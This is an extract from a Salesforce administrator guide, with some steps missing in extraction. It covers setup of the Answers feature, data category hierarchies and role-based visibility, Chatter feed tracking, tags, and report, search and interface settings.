1. Click Setup ➤ Customize ➤ Knowledge ➤ Data Category Assignments. A list of all category groups appears.
2. Click Edit and move any category groups that you don't want available for articles from the Selected Category Groups list
to the Available Category Groups list. Later, you can choose to make a hidden category group visible.
3. Click Save.
You receive an email after the save process completes. Authors can now assign categories in the selected groups to articles on
the Article Management tab. Note that authors can only access categories if the category group is active and the author's data
category visibility settings provide access to the category.
SETTING UP ANSWERS
Setting Up Answers
Available in: Enterprise, Unlimited, and Developer Editions
To set up answers:
6. (Optional) To allow community members who work with cases to escalate an unanswered or problematic question to a
new case:
a. On the Setup ➤ Customize ➤ Cases ➤ Page Layouts page, edit the case page layouts to include the Question field.
1206
Customize Enabling Answers and Assigning the Default Community
b. On the Setup ➤ Customize ➤ Cases ➤ Fields page, ensure that field-level security for the Question field makes
the field visible in the necessary profiles.
Only community members who have permission to create cases will see an Escalate to Case option on questions.
7. (Optional) If your organization uses Salesforce Knowledge, users can convert particularly helpful replies into articles in the
knowledge base. Click Setup ➤ Customize ➤ Knowledge ➤ Settings and ensure that Allow users to create an
article from a reply is checked.
8. (Optional) Create validation rules for questions and replies to prevent offensive language from being posted to the answers
community.
To create validation rules, click Setup ➤ Customize ➤ Answers ➤ Question Validation Rules and Setup ➤ Customize
➤ Answers ➤ Reply Validation Rules. Refer to Community Validation Rules on page 917 for sample rules.
9. (Optional) Create workflow rules for questions. For example, you may want to create a workflow rule that sends the
community administrator an email whenever a question has ten or more replies but no best answer. Questions do not
support approval processes or workflow tasks.
10. (Optional) Create reports for your answers community.
11. (Optional) Enable answers in your Customer Portal or enable answers in your partner portal.
See Also:
Answers Overview
Salesforce Answers Implementation Guide
Answers is a feature of the Community application that enables users to ask questions and have community members reply
with answers. Community members can then vote on the helpfulness of each reply, and the person who asked the question
can mark one reply as the best answer.
To enable the answers feature:
1207
Customize Creating and Editing Communities
5. Click Save.
See Also:
Answers Overview
Creating and Editing Communities
Salesforce Answers Implementation Guide
1208
Customize Creating and Editing Communities
7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community
displayed to internal Salesforce.com users and not to Customer Portal or partner portal users, select Do Not Display
in Portal.
To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using
Force.com sites. Answers communities do not support Force.com sites.
When you display a community in a portal, “(External)” is appended to the community name. Communities that aren't
displayed in a portal have “(Internal)” appended to the name. For example, Laptop Products Community (External).
8. Click Save.
See Also:
Selecting Picklist Values and Defaults for a Community
Communities Home
Enabling Salesforce CRM Ideas in the Customer Portal
Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide
1209
Customize Assigning Data Categories to Answers
In an answers community, a category group provides one or more categories that help organize questions for easy browsing. If
the category group contains a hierarchy, only the first-level categories display on the Answers tab. For example, if you're a
computer manufacturer you might create a Products category group for your Products community that has four categories:
Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. Community members can choose one
of the categories to assign to a question.
The following example shows how the categories within a category group appear on the Answers tab.
The name of the category group is not displayed in the answers community; however, all the categories within the group appear
below the community name on the Answers tab.
To assign a category group to answers:
1. Create a category group for answers and add data categories to the category group.
1210
Customize Editing and Deleting a Reply
We recommend naming the category group the same as the answers community so other administrators understand where
the category group is being used.
Note: Even though you can create up to five hierarchy levels of categories in a category group, only the first level
of categories is supported in your answers community. Child categories below the first level are not displayed in
the community, and community members can't assign these child categories to questions.
2. Go to Setup ➤ Customize ➤ Answers ➤ Data Category Assignments. The category group assignments page only
displays after you enable answers.
3. Click Edit.
4. Select the category group you want to assign to your answers community.
Note: If you change the category group for answers later, all the existing categories associated with your questions
are removed. The questions in your answers community become uncategorized until community members assign
the new categories to them.
5. Click Save.
You receive an email after the save process completes.
See Also:
Answers Overview
What are Data Categories?
About Category Group Visibility
Standard users without the “edit” and “delete” permissions on the answers object cannot edit or delete their replies. However,
as the Salesforce.com administrator, you can edit or delete any reply posted to a community. For example, you may want to
monitor your answers community and edit or delete replies that contain inappropriate content or offensive language.
To edit or delete a reply:
1. Click the question title to view a list of all replies for the question.
2. Click Edit or Delete next to the reply you want to change or remove. When deleting a reply, the reply goes to the Recycle
Bin.
Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when
posting a reply.
1211
Customize Editing and Deleting a Question
To create validation rules, click Setup ➤ Customize ➤ Answers ➤ Question Validation Rules and Setup ➤ Customize
➤ Answers ➤ Reply Validation Rules. Refer to Community Validation Rules on page 917 for sample rules.
See Also:
Answers Overview
Using Answers
Replying to a Question
Standard users can delete their own questions if the questions have not received replies. Once a question receives a reply, the
owner of the question can no longer delete it. As the Salesforce.com administrator, you can edit or delete any question posted
to a community. For example, you may want to monitor your answers community and edit or delete questions that contain
inappropriate content or offensive language.
To edit or delete a question:
Another way to prevent offensive language is to create a validation rule that prevents users from entering specific words when
asking a question.
To create validation rules, click Setup ➤ Customize ➤ Answers ➤ Question Validation Rules and Setup ➤ Customize
➤ Answers ➤ Reply Validation Rules. Refer to Community Validation Rules on page 917 for sample rules.
See Also:
Answers Overview
Using Answers
Asking a Question
1212
Customize Setting Up Reports for Answers
As an administrator, you can create custom report types so users can run and create custom reports about questions, replies,
and votes. Custom report types are the only way to make reports about your answers community available for your
users—Salesforce.com does not provide sample answers reports or a standard report folder for answers.
To create a folder of answers reports for your users:
2. Create a new public folder for answers reports. This step requires the “Manage Public Reports” permission.
3. Using your custom report type, create one or more new custom reports for answers. Assign the reports to the new answers
reports folder you created.
After completing these steps, a folder of answers reports is available to your users on the Reports home page.
See Also:
Answers Overview
1213
Customize What are Data Categories?
DATA CATEGORIES
Data categories can be used by Salesforce Knowledge (articles) and answers communities (questions) to help users classify
and find articles or questions. Administrators can use data categories to control access to articles and questions.
Salesforce Knowledge supports a five-level hierarchy of data categories within each category group. Articles in the knowledge
base can be classified according to multiple categories that make it easy for users to find the articles they need. For example,
to classify articles by sales regions and business units, create two category groups, Sales Regions and Business Units. The Sales
Regions category group could consist of a geographical hierarchy, such as All Sales Regions as the top level, North America,
Europe, and Asia at the second level, and so on
In an answers community, data categories help organize questions for easy browsing. Each community supports one category
group. For example, if you're a computer manufacturer you might create a Products category group that has four sibling
categories: Performance Laptops, Portable Laptops, Gaming Desktops, and Enterprise Desktops. On the Answers tab,
community members can assign one of the four categories to each question and then browse these categories for answers to
specific questions.
Article Filtering
As a support agent, when articles are classified into logical categories, you can quickly and easily locate the article you
need by filtering your organization's knowledge base. To ensure you see all relevant articles, filtering by category has
1214
Customize What are Data Categories?
expansive results that include a category's upward and downward relatives in the category hierarchy. For example, if your
category hierarchy for products has the levels All Products > Computers > Laptops > Gaming Laptops and you are
helping a customer with a laptop problem, filtering by Laptops returns articles classified with Laptops as well as articles
classified with Computers, All Products, or Gaming Laptops. Effectively, you are made aware of useful related articles
like a free shipping offer for all products or an upgrade offer for gaming laptops. (To prevent irrelevant results, category
filtering doesn't return nonlineal relatives like siblings and cousins. Articles about Desktops, a sibling of Laptops, would
not display.)
Figure 10: An Article About Laptop Deals on the Article Management Tab
The next figure now illustrates an agent finding that same article published on the Articles tab; the agent has selected Laptops
and USA respectively in the Products and Geography drop-down menus to retrieve an article that is classified with both
Laptops and USA.
1215
Customize What are Data Categories?
When you add categories to a category group, you build a hierarchy that can contain up to five levels of depth and up to 100
categories total. Each category can have one parent, many siblings, and many children. A robust and well-organized category
hierarchy helps users find the articles that are relevant to them quickly and easily.
By default, all Salesforce Knowledge users with a role have access to all categories; however, you can restrict category visibility
by role.
By default, all community members have access to all categories; however, you can specify category visibility by role.
Implementation Tips
Consider the following information when planning and implementing data categories for your organization:
• You can create up to three category groups with a maximum of five hierarchy levels in each group. Each category group
can contain a total of 100 categories. To increase these limits, contact salesforce.com.
• If you want to use data categories in an answers community, after creating your category group you must assign it to a
community at Setup ➤ Customize ➤ Answers ➤ Data Category Assignments. You can only assign one category group
to an answers community. Salesforce Knowledge supports multiple category groups.
• Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is
supported in your answers community. Child categories below the first level are not displayed in the community, and
community members can't assign these child categories to questions. Salesforce Knowledge supports a hierarchy of data
categories.
• Category groups are hidden from users until they are activated. Do not activate a category group until you have finished
defining its categories and their access settings, including their mapping to roles.
• When assigning categories to articles, you can choose up to 10 categories in a category group.
1216
Customize What are Data Categories?
• If an article has no categories, it displays only when you choose the No Filter option in the category drop-down menu.
• When searching for articles, selecting a category automatically includes the parent and children of that category and any
grandparents, up to and including the top level. Sibling categories are not included. For example, if a category hierarchy
has the levels All Products, Switches, Optical Networks, and Metro Core, selecting “Optical Networks” from the category
drop-down menu returns articles assigned to any of the four categories. However, if the Switches category has a sibling
category called Routers, selecting “Optical Networks” does not return articles classified within Routers. Category visibility
settings may limit the specific articles you can find.
• Once role-based visibility settings have been chosen for the categories:
- Users who are not assigned to a role can only see uncategorized articles and questions unless default category visibility
has been set up.
- By default Customer Portal users and partner portal users inherit the category group visibility settings assigned to their
account managers. You can change the category group visibility settings for each portal role.
- If you only have access to one category in a category group, the category drop-down menu for that category group does
not display on the Articles tab.
• Deleting a category:
- Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
- Permanently deletes its child categories.
- As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles
tab in all channels, and your company's public knowledge base.
- Removes associations between the category and articles or questions. You can reassign articles and questions to another
category.
- Removes its mapping to a role. Users in the role lose their visibility to articles and answers associated with the deleted
category.
• You can translate the labels of categories and category groups using the Translation Workbench.
Best Practices
Consider the following tips when using data categories:
• To quickly manage data categories, use keyboard shortcuts.
• After creating or updating categories, set up category group visibility rules.
• Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.
See Also:
Managing Data Categories
What is Salesforce Knowledge?
1217
Customize Managing Data Categories
Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help
users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions.
For more information, see What are Data Categories? on page 1214
Click Setup ➤ Customize ➤ Data Categories to view the Data Categories page where you can:
• Create a category group. A category group is the container for a set of categories. In Salesforce Knowledge it appears as
the name of the category drop-down menu on the Article Management and Articles tabs. For example, if you create two
category groups called Geography and Products, the Article Management and Articles tabs will have two category menus
from which to pick specific categories: Geography and Products. In answers communities, the name of the category group
does not display on the Answers tab.
• Add categories to a category group. After creating a category group, you can create a hierarchy of categories within that
group. These are the values that users select when assigning a category to an article or question and when searching for
articles or questions.
• Modify existing categories. You can change a category's name, update its other attributes, move it to another location in
the hierarchy, or reorder categories alphabetically.
• Delete a category group. You can delete, restore, or permanently erase a category group.
• Delete a category. You can permanently remove any category.
• Translate categories. You can translate your categories with the languages you want to support.
• Hover over a category group to view its properties and see whether it is used in Salesforce Knowledge or an answers
community.
Note: By default, Salesforce Knowledge users and answers community members have access to all articles and questions
associated with any category. If you want to restrict access to articles and questions, you can modify visibility settings
for data categories.
See Also:
Creating and Modifying Category Groups
Deleting and Undeleting Category Groups
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Deleting Data Categories
Useful Salesforce Knowledge Terminology
1218
Customize Creating and Modifying Category Groups
Category groups can be used by Salesforce Knowledge (articles) or answers communities (questions). In both cases, category
groups are containers for individual data categories. For example, a Contracts category group might contain Fixed Price, Cost
Reimbursement, and Indefinite Delivery categories. For more information, see What are Data Categories? on page 1214
To create or edit a category group:
Group icon ( ).
3. Specify the Group Name. This name appears as the title of the category drop-down menu on the Article Management
and Articles tabs, and, if applicable, in the public knowledge base. The Group Name does not appear on the Answers tab.
4. Optionally, modify the Group Unique Name. This is a unique name used to identify the category group in the Web
services API.
5. Optionally, enter a description of the category group.
6. Click Save. You receive an email after the save process completes.
You can now add categories on page 1221 to your category group. When you create a new category group, Salesforce.com
automatically creates a top-level category in the group named All. Optionally, double-click All to rename it.
1219
Customize Deleting and Undeleting Category Groups
To activate a category group so it is available to users, move the mouse pointer over the name of the category group and click
the Activate Category Group icon ( ).
See Also:
Managing Data Categories
Adding Data Categories to Category Groups
Deleting and Undeleting Category Groups
Managing Articles
About Category Group Visibility
Caution: Deleting a category group deletes all of its categories and removes all associations between the categories
and articles or questions. Read this entire topic carefully to understand the consequences of deleting category groups.
1220
Customize Adding Data Categories to Category Groups
See Also:
Creating and Modifying Category Groups
Managing Data Categories
Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help
users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions.
For more information, see What are Data Categories? on page 1214
By default, for each category group you can create up to 100 categories and organize those categories into up to five hierarchy
levels. To request additional categories or hierarchy levels, contact salesforce.com.
Note: Because only first-level data categories display on the Answers tab, when creating data categories for an answers
community ensure that the categories you want visible have a sibling relationship and not a parent-child relationship.
1221
Customize Modifying and Positioning Data Categories
Tip: Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.
Tip: By default, all Salesforce Knowledge users and answers community members can see all categories within an
active category group. You can restrict category visibility after you have set up your data categories to ensure that users
only access articles and questions that you want them to see.
See Also:
Managing Data Categories
Modifying and Positioning Data Categories
Deleting Data Categories
Keyboard Shortcuts For Data Categories
Caution: Modifying categories can result in long processing times, changes to the visibility of articles, changes to the
categorization of articles and questions, and other significant consequences. Read this entire topic carefully before
modifying categories.
To modify the data categories in a category group and their positions in the hierarchy:
• Drag a category on top of another category to reposition it as a child of the destination category. For example, drag
USA on top of North America to make USA one level below North America. After dragging, the category displays
below the other child categories at that level.
• Drag a category to a line that borders another category to reposition it as a sibling of that category. For example, to
position USA between Canada and Mexico, drag it to the line between Canada and Mexico.
1222
Customize Modifying and Positioning Data Categories
6. Hover your cursor over a category name, then choose Order Child Categories Alphabetically from the
Actions drop-down list to reorder that category's children in alphabetical order. This only affects the first level children,
not grandchildren or deeper levels.
7. As you modify the category hierarchy, click Undo to cancel your last actions. Similarly, click Redo to step forward through
your flow of performed actions.
8. Click Save. You will receive an email when the save process completes.
Tip: Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.
Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially
large and complex recalculations, it may take a long time to complete. During processing, users may experience
performance issues when searching for articles or questions or using category drop-down lists.
1223
Customize Modifying and Positioning Data Categories
To understand how this change affects which roles can see articles classified with the PDAs category, see the following table.
See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories to Category Groups
Deleting Data Categories
Keyboard Shortcuts For Data Categories
1224
Customize Deleting Data Categories
Caution: Deleting categories can result in long processing times, changes to the visibility of articles and questions,
changes to the categorization of articles and questions, and other significant consequences. Read this entire topic
carefully before deleting categories.
To delete a category:
In all cases, the articles retain their categories from other category groups.
7. Click Save.
Deleting a category:
• Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
• Permanently deletes its child categories.
• As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles tab
in all channels, and your company's public knowledge base.
• Removes associations between the category and articles or questions. You can reassign articles and questions to another
category.
• Removes its mapping to a role. Users in the role lose their visibility to articles and answers associated with the deleted
category.
1225
Customize Keyboard Shortcuts For Data Categories
Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially
large and complex recalculations, it may take a long time to complete. During processing, users may experience
performance issues when searching for articles or questions or using category drop-down lists.
See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Keyboard Shortcuts For Data Categories
Use the following keyboard shortcuts to work quickly with data categories.
1226
Customize About Category Group Visibility
See Also:
Managing Data Categories
Adding Data Categories to Category Groups
Modifying and Positioning Data Categories
Deleting Data Categories
In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
1227
Customize About Category Group Visibility
Category group visibility settings are enforced on the Answers tab, the Article Management tab, the Articles tab in all channels
(internal app, partner portal, and Customer Portal), and the public knowledge base. In the following areas, users only see the
categories that their visibility settings allow:
• On the Article Management tab, when creating or editing articles
• On the Article Management tab and the Articles tab, the category drop-down menu for finding articles
• On the Answers tab, the categories listed below the community name
Revoked Visibility
A role's visibility can be revoked (set to None) for a particular category group. Users in the target role can only see articles and
questions that aren't classified with a category in that category group. For example, if a user's role has revoked visibility in the
Geography category group but visibility to the Products category group, he or she can only see articles that have no categories
in Geography and are classified with a category in Products. Because an answers community can only be assigned to one
1228
Customize Editing Role-Based Category Group Visibility
category group, if the Geography category group was assigned to the community and a member's role visibility was revoked
for that group, the member could only see uncategorized questions.
See Also:
What are Data Categories?
Editing Role-Based Category Group Visibility
Modifying Default Data Category Visibility
Examples of Category Group Visibility Settings for Articles
Viewing Category Group Visibility on Roles
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To edit a role's category group visibility setting:
1. Click Setup ➤ Manage Users ➤ Role and select a role. If the role is for a Customer Portal or partner portal user, click
Setup ➤ Manage Users ➤ Users and click the name of the role.
2. In the Category Group Visibility Settings related list, click Edit next to the category group you want to modify. Alternatively,
click the name of a category group and then click Edit.
1229
Customize Editing Role-Based Category Group Visibility
4. Click Save.
Implementation Tips
• When you create a new category group, its visibility is defaulted to All for the topmost role in the role hierarchy, and all
subordinate roles inherit that setting.
• When you add a category to a role's visibility, you also grant visibility to its child and parent categories. If you want to give
a role access to all categories in a branch of the category hierarchy, select the top level category All Categories.
• Users who are not assigned to a role can only see uncategorized articles and questions unless:
- The user is an administrator who has the “View all Data” profile permission
- A category group has been made visible to all no-role users on the Setup ➤ Customize ➤ Data Categories ➤ Category
Group Visibility page.
• By default, Customer Portal users and partner portal users inherit the role assigned to their account managers. You can
change the category group visibility settings for each portal role.
Best Practices
• Keep your category groups deactivated to set up your category hierarchy and assign role-based category visibility. Until you
manually activate a category group, it does not display in Salesforce Knowledge or your answers community
1230
Customize Modifying Default Data Category Visibility
• Always set up category group visibility in a top-down approach from the top of the role hierarchy down to the bottom.
Give the highest roles the most visibility and give subordinate roles reduced visibility.
See Also:
Managing Data Categories
About Category Group Visibility
Examples of Category Group Visibility Settings for Articles
In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To modify the default visibility for data categories:
1. Click Setup ➤ Customize ➤ Data Categories ➤ Default Data Category Visibility. All active and inactive category
groups are listed.
2. Pick a category group and click Edit.
3. Choose All to make all the categories in the category group visible by default, None to make none of the categories visible
by default, or Custom to make some of the categories visible by default.
4. If you chose Custom, move categories from the Available Categories area to the Selected Categories area as needed.
Selecting a category implicitly includes its child and parent categories as well. Move categories from the Selected Categories
area back to the Available Categories area to remove default visibility.
1231
Customize Viewing Category Group Visibility on Roles
For important information about how visibility settings are applied, see About Category Group Visibility on page 1227.
See Also:
What are Data Categories?
About Category Group Visibility
How Category Visibility Differs from Other Salesforce.com Models
In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To understand the settings and their impact, see About Category Group Visibility on page 1227.
1232
Customize How Category Visibility Differs from Other Salesforce.com Models
Visibility Description
All Users can see all categories in the category group. This option
is only available for the topmost role in the role hierarchy.
When you create a new category group, its visibility is
defaulted to All for the topmost role in the role hierarchy,
and all subordinate roles inherit that setting.
Inherited from... The role inherits its parent role's visibility settings. If the
parent role's settings change, the child role stays in sync. Click
the name of the parent role to see its category group visibility
settings.
None Users cannot see any categories in the category group.
Custom Users can view a selection of categories in the category group.
See Also:
Managing Data Categories
About Category Group Visibility
Editing Role-Based Category Group Visibility
Examples of Category Group Visibility Settings for Articles
In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
These settings are unique to articles and questions and differ from other Salesforce.com models:
1233
Customize Examples of Category Group Visibility Settings for Articles
Role-based access
Category group visibility settings are based on roles. Child roles cannot see more categories than their parent role. To
change a user's visibility to categories and therefore categorized articles and questions, you must change the visibility
settings for the user's current role, move the user to a different role, or, if the user doesn't have a role, make certain
categories visible to all users.
To ensure that users obtain a wide range of relevant information, category group visibility is broadly interpreted. Setting
a category as visible makes that category and its entire directly related family line—ancestors, immediate parent, primary
children, other descendants—visible to users. For example, consider a Geography category group with continents such
as Asia and Europe at the top level, various countries at the second level, and cities at the third level. If France is the
only visible category selected, then you can see articles classified with Europe, France, and all French cities. In other
words, you can see categories that have a direct vertical relationship to France but you cannot see articles classified at or
below Asia and the other continents.
Note: Only the first-level categories in the category group are visible on the Answers tab. In the Geography
example, only the continent categories appear on the Answers tab; therefore, if France is the category selected
as visible in category group visibility settings, community members can see questions classified with Europe.
See Also:
Managing Data Categories
About Category Group Visibility
Viewing Category Group Visibility on Roles
Editing Role-Based Category Group Visibility
Examples of Category Group Visibility Settings for Articles
In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:
Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
1234
Customize Examples of Category Group Visibility Settings for Articles
category visibility allows you to provide category visibility to users without roles. For example, although High-Volume Customer
Portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
These examples are based on two sample category groups, Products and Geography:
Note: Although category group visiblity settings are available with answers communities (questions) and Salesforce
Knowledge (articles), the examples below apply to articles only. Answers communities support one category group
and one data category per question.
• All Products
- Consumer Electronics
- Cameras
- Audio
- Printers
- Enterprise Electronics
- Routers
- Switches
- PEX
- Computers
- Laptops
- Desktops
- PDAs
• All Countries
- Americas
- USA
- Canada
- Brazil
- Asia
- China
- Japan
- India
- Europe
- France
- United Kingdom
1235
Customize Examples of Category Group Visibility Settings for Articles
- Poland
Acme Electronics Role Hierarchy Visible Geographic Categories Visible Product Categories
CEO All Countries All Products
VP of Engineering All Countries All Products
Inherit from CEO Inherit from CEO
1236
Customize Examples of Category Group Visibility Settings for Articles
Table 1: Example: How Category Visibility Settings Restrict What Users See
Categories When User 1's visibility isAll When User 2's visibilty When User 3's visibility is
countries/Computers, the isAmerica/All products, the France/None, the category
category is: category is: is:
All countries/Laptop VISIBLE VISIBLE NOT VISIBLE
Canada/Computers VISIBLE VISIBLE NOT VISIBLE
USA/All products VISIBLE VISIBLE NOT VISIBLE
Europe/Switches NOT VISIBLE NOT VISIBLE NOT VISIBLE
Europe/No Categories VISIBLE NOT VISIBLE VISIBLE
User 1: The user's role must be granted visibility in each category that classifies the article, or each category that classifies the
article must be visible by default.In this example, User 1 can see Europe, because Europe is the child of All Countries, but he
cannot see Switches, because Switches does not belong to Computers. That's why User 1 cannot see articles classified with
Europe/Switches.
User 2: When a category is made visible to a role or is made visible by default, its child and parent categories are implicitly
included; therefore, User 2 can see articles categorized with All Countries because it is the parent category of America. He
can also see Articles classified with USA because it is the child of America.
User 3: If a role has no access to the whole category group, he can only see articles that are not categorized in that group. User
3 cannot see the articles categorized with All countries/Laptop because he has no visibility in the category group that includes
Laptop, but he can see articles categorized with Europe/No categories.
See Also:
Managing Data Categories
About Category Group Visibility
Viewing Category Group Visibility on Roles
Editing Role-Based Category Group Visibility
How Category Visibility Differs from Other Salesforce.com Models
1237
Customize Setting Up Salesforce Chatter
SALESFORCE CHATTER
See Also:
Using Salesforce Chatter
Salesforce Chatter FAQ
Enabling Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Enable Salesforce Chatter to turn on Chatter feeds, groups, and profiles so people in your organization can collaborate with
each other in real time.
Note: Salesforce Chatter is enabled by default for organizations created after June 22, 2010. Existing organizations
must enable Salesforce Chatter.
1238
Customize Customizing Chatter Feed Tracking
• Enabling Salesforce Chatter also enables the new user interface theme, which updates the look and feel of Salesforce.com.
• When Chatter is enabled for organizations with 15 or fewer users, all users automatically follow each other.
• After enabling Salesforce Chatter for your organization, you can also enable it for the mobile application so users can access
their feeds from an iPhone or BlackBerry device. Salesforce Chatter doesn't require setup for Mobile Lite users; however,
you must enable Salesforce Chatter for Salesforce Mobile users by including the News Feed object in your mobile
configurations' data sets.
See Also:
Salesforce Chatter Overview
Setting Up Salesforce Chatter
Using Salesforce Chatter
Salesforce Chatter FAQ
• Enable objects for feed tracking so people can follow records of that object type and see Chatter feed updates when records
of that object type are created. For example, if you enable the account object, people can follow account records and will
see feed updates when they create accounts. Additionally, enabling feed tracking for leads allows people to see Chatter
feed updates when leads are converted.
• Enable fields for feed tracking so people can see Chatter feed updates about changes to fields on records they follow. For
example, if you enable the Billing Address field on accounts, people will see updates when Billing Address is
changed on accounts they follow.
Sharing rules and field-level security determine visibility of record changes in Chatter feeds; you must be able to see a record
in order to see changes to that record in feeds.
You can configure feed tracking for users, Chatter groups, custom objects, and the following standard objects: accounts, article
types, assets, campaigns, cases, contacts, contracts, leads, opportunities, products, and solutions.
1239
Customize Customizing Chatter Feed Tracking
• To stop tracking an object, deselect Enable Feed Tracking. You can't disable feed tracking for the user or Chatter
group objects.
• You must track the owner field to enable a new record owner to automatically follow that record. For example, if the
Account Owner field isn't tracked and someone changes the owner of an account , the new owner won't automatically
follow the account.
• To restore the default feed tracking settings for an object, click Restore Defaults.
• If leads are tracked, but accounts, contacts, or opportunities are not, users won't be able to follow or see updates related to
the accounts, contacts, and opportunities created during lead conversion.
• The following standard field types can't be tracked:
See Also:
Chatter Feeds Overview
Using Chatter Feeds
Enabling Chatter
1240
Customize Customizing Tag Settings
TAG SETTINGS
Administrators can use the following tools to set up and manage personal and public tags:
• Tag Settings—Enable personal and public tags for accounts, activities, assets, campaigns, cases, contacts, contracts,
dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except
relationship group members).
• Personal Tag Cleanup—Delete the personal tags of your deactivated users.
See Also:
About Tagging
Using the Tags Sidebar Component
Tagging Records
Enabling Tags
Tag settings available in: All Editions
1241
Customize Deleting Personal Tags for Deactivated Users
For example, if you only select one or more account page layouts, users in your organization can only tag account records.
Additionally, if you only select account page layouts in the Enable Personal Tags section and not in the Enable
Public Tags section, users can only tag account records with personal tags.
Note:
• When tags are enabled, you can also add personal and public tags to a page layout by editing the page layout
directly. See Customizing Page Layouts on page 1014.
• Custom objects that do not have an associated tab are not returned in search results or displayed on the Tags
page, even if tags are enabled for the custom object. For custom object records to appear in search results or
the Tags page, an associated tab only needs to exist; the tab does not have to be visible to users.
• Customer Portal users cannot view the tags section of a page, even if it is included in a page layout.
4. Click Save.
See Also:
About Tagging
Using the Tags Sidebar Component
Tagging Records
Deleting Personal Tags for Deactivated Users
Your organization can have up to 5,000,000 personal and public tags applied to records, across all users. If you are approaching
this limit, you can delete the personal tags for your deactivated users in the Personal Tag Cleanup page. To use this page:
1242
Customize Customizing Report and Dashboard Settings
See Also:
About Tagging
Enabling Tags
Using the Tags Sidebar Component
Tagging Records
Administrators can set up and manage report and dashboard settings from the Reports & Dashboards page. To get to this
page, click Setup ➤ Customize ➤ Reports & Dashboards and click the following links to access report and dashboard
settings:
• Customize report and dashboard user interface settings—Control features of the report and dashboard user interface,
such as floating report headers, the auto-complete Dashboard Finder, and charting options.
• Customize report and dashboard email settings—Control the way email notifications are sent, including image handling
in dashboard emails for Lotus Notes users and sending reports and dashboard refresh notifications to portal users.
• Customize report folders—Click this link to go to the last open report folder. From there, you can edit folder properties,
such as name, access, and sharing.
See Also:
Customizing Report and Dashboard User Interface Settings
Customizing Report and Dashboard Email Settings
1243
Customize Customizing Report and Dashboard User Interface Settings
3. Click Save.
See Also:
Customizing Report and Dashboard Settings
1244
Customize Customizing Report and Dashboard Email Settings
See Also:
Customizing Report and Dashboard Settings
1245
Customize Customizing Search Settings
Search Settings
The search settings are:
Enable Drop-Down List for Sidebar Search
The drop-down list for sidebar search allows you to limit users' sidebar searches by object. When you select Enable
Drop-Down List for Sidebar Search, a drop-down list appears in the Search section. From this list users can
select to search within tags, within a specific object, or across all objects.
Use Recently Viewed User Records for Blank and Auto-Complete Lookups
If this setting is enabled, the list of records returned from a user auto-complete lookup and from a blank user lookup is
taken from the user's recently viewed user records.
If this setting is not enabled, the dialog shows a list of recently accessed user records from across your organization.
1246
Customize Customizing User Interface Settings
Lookup Settings
The Lookup Settings area allows you to enable enhanced lookups and lookup auto-completion for account, contact,
user, and any custom object lookups.
1247
Customize Customizing User Interface Settings
1248
Customize Customizing User Interface Settings
Note: Starting with Summer '10, new organizations have the new user interface theme enabled by default.
The new user interface theme updates the look and feel of Salesforce.com for all users in your organization. The new
user interface theme is not supported in Setup, Console, Portals, or Help & Training.
Only users with supported browsers see the new user interface theme. Users with unsupported browsers receive an error
